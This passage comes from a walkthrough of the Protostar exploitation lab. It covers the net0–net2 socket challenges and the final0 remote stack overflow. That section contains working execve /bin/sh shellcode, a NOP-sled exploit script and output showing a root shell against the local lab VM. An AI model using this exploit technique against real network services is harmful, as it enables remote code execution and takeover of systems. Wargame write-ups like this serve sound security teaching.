        with open(f_name, 'wb') as f:
                f.write(buf)
```

We can now test our exploit by running:

```
./heap3 $(cat /tmp/A) $(cat /tmp/B) $(cat /tmp/C)
that wasn't too bad now, was it? @ 1617171713
```

Useful resources:

```
http://phrack.org/issues/57/9.html

https://airman604.medium.com/protostar-heap-3-walkthrough-56d9334bcd13
```

Net

net0

This level takes a look at converting strings to little endian integers.

This level is at /opt/protostar/bin/net0

```
#include "../common/common.c"

#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999

void run()
{
  unsigned int i;
  unsigned int wanted;

  wanted = random();

  printf("Please send '%d' as a little endian 32bit int\n", wanted);

  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  if(i == wanted) {
      printf("Thank you sir/madam\n");
  } else {
      printf("I'm sorry, you sent %d instead\n", i);
  }
}

int main(int argc, char **argv, char **envp)
```

```
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}
```

Exploit:

Open `2` terminals and following instructions `(1)` to `(7)`.

```
TERMINAL 1                                             |  TERMINAL 2
(1) $ /opt/protostar/bin/net0                          | (3) $ python
(2) $ echo -e "`cat -`" | nc 127.0.0.1 2999            | (4) >>> import
struct
Please send '461257927' as a little endian 32bit int | (5) >>>
struct.pack("I",787330810)
(6) \xfa\xb6\xed.                                      |
b'\xfa\xb6\xed.'
(7) [control+D]                                        |
Thank you sir/madam                                    |
```

Or, more elegantly... `script.py`

```python
#!/usr/bin/env python
import socket
import struct
IP="127.0.0.1"
PORT=2999
# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))
#x Receive data from the server
data = s1.recv(2048)
# data will be something like:
# data == "Please send '{number}' as a little endian 32bit int"
# We can extract {number} by splitting on "'"
number = int(data.split("'")[1])
number_le = struct.pack("I", number)
# Send data to the server
s1.send(number_le)
# Receive data from the server
data = s1.recv(2048)
print data
# Close the socket
s1.close()
```

net1

This level tests the ability to convert binary integers into ascii representation.

This level is at /opt/protostar/bin/net1

```c
#include "../common/common.c"


#define NAME "net1"
#define UID 998
#define GID 998
#define PORT 2998
```

```c
void run()
{
  char buf[12];
  char fub[12];
  char *q;

  unsigned int wanted;

  wanted = random();

  sprintf(fub, "%d", wanted);

  if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) {
      errx(1, ":(\n");
  }

  if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  q = strchr(buf, '\r'); if(q) *q = 0;
  q = strchr(buf, '\n'); if(q) *q = 0;

  if(strcmp(fub, buf) == 0) {
      printf("you correctly sent the data\n");
  } else {
      printf("you didn't send the data properly\n");
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
```

```
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}
```

`script.py`:

```
import socket
import struct

s = socket.socket()
s.connect(("127.0.0.1",2998))

data = s.recv(1024)

# < == Little Endian
# i == integer

data = "%d\n" % (struct.unpack('<i', data))

s.send(data)
print s.recv(1024)
s.close()
```

`net2`

This code tests the ability to add up 4 unsigned 32-bit integers. Hint: Keep in mind that it wraps.

This level is at /opt/protostar/bin/net2

```
#include "../common/common.c"

#define NAME "net2"
#define UID 997
#define GID 997
#define PORT 2997

void run()
{
  unsigned int quad[4];
  int i;
  unsigned int result, wanted;

  result = 0;
  for(i = 0; i < 4; i++) {
      quad[i] = random();
      result += quad[i];
      if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) {
          errx(1, ":(\n");
      }
  }

  if(read(0, &wanted, sizeof(result)) != sizeof(result)) {
      errx(1, ":<\n");
  }


  if(result == wanted) {
      printf("you added them correctly\n");
```

```c
  } else {
      printf("sorry, try again. invalid\n");
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}
```

```python
import socket
import struct

s = socket.socket()
s.connect(("127.0.0.1",2997))

nums = []
res = 0
for _ in range(4):
        num = s.recv(4)
        res += struct.unpack('<i',num)[0]
```

```
data = "%d\n" % res

s.send(struct.pack("I",res))
print s.recv(1024)
s.close()
```

`Final`

`final0`

This level combines a stack overflow and network programming for a remote overflow.

Hints: depending on where you are returning to, you may wish to use a toupper() proof shellcode.

Core files will be in /tmp.

This level is at /opt/protostar/bin/final0

```
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;
```

```c
  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();

  printf("No such user %s\n", username);
```

```
}
```

Our goal is to open a `shell`. Of course the vulnerability is in `gets()`, we can overflow the buffer...

Here is our `23` bytes shell code:

```
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

Let's think about our exploit, the stack will look something as

```
buffer[0-3]
buffer[4-7]
...
buffer[508-511]
SAVED EBP
SAVED EIP
...
```

Let's try to jump directly in the buffer (overwrite `EIP` with an address near `buffer`)

How do we find this buffer? We can write a script to try to see how far away the saved return address is from where the buffer started.

```
#!/usr/bin/env python

import socket

HOST = "127.0.0.1"
PORT = 2995

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
```

```
to_send = "A" * 512 + "BBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF" + "\n"
s.sendall(to_send)

msg = s.recv(1024)

print "resp:", msg
```

Once we run this script we can find a core file in `/tmp/`:

```
ls /tmp/
core.11.final0.9654
```

We can log as `root` by typing the `su` command and inserting the password `godmode`

```
user@protostar:~$ su
Password:
root@protostar:/home/user#
```

And debug the `core dump` by running (in my case):

```
gdb /opt/protostar/bin/final0 /tmp/core.11.final0.9654
```

By exploring the stack we can see find a reasonable address to jump to.

```
(gdb) x/20x $esp-550
0xbffffa3a: 0x07300000  0xc8940000  0x6910b7e9  0x41410d69
0xbffffa4a: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffa5a: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffa6a: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffa7a: 0x41414141  0x41414141  0x41414141  0x41414141

(gdb) x/20x $esp-50
0xbffffc2e: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc3e: 0x41414141  0x41414141  0x00004141  0x02000000
0xbffffc4e: 0x42420000  0x42424242  0x42424242  0x42424242
0xbffffc5e: 0x42424242  0x42424242  0x42424242  0x42424242
0xbffffc6e: 0x42424242  0x42424242  0x42424242  0x42424242
```

So our `buffer` starts around `0xbffffa4a` and finishes around `0xbffffc3e` , we can try to jump in the middle and put there a bunch of `\x90` .

```
hex((0xbffffa4a + 0xbffffc3e)  / 2) -> 0xbffffb44
```

`exploit.py`

```
#!/usr/bin/env python

import socket
import struct

HOST = "127.0.0.1"
PORT = 2995

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
```

```
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
# shellcode length -> 28 bytes

address = struct.pack("I",0xbffffb44)
buffer = "\x00\x00\x00\x00" + "\x90" * (512 - 4 - len(shellcode)) +
shellcode + "AAAA" + "BBBB" + "CCCC" + "DDDD" + "EEEE"  + address
s.send(buffer + "\n")
s.send("id\n")
s.send("uname -a\n")

msg = s.recv(1024)

print "resp:", msg
```

```
root@protostar:/home/user# python exploit_final0.py
resp: uid=0(root) gid=0(root) groups=0(root)
```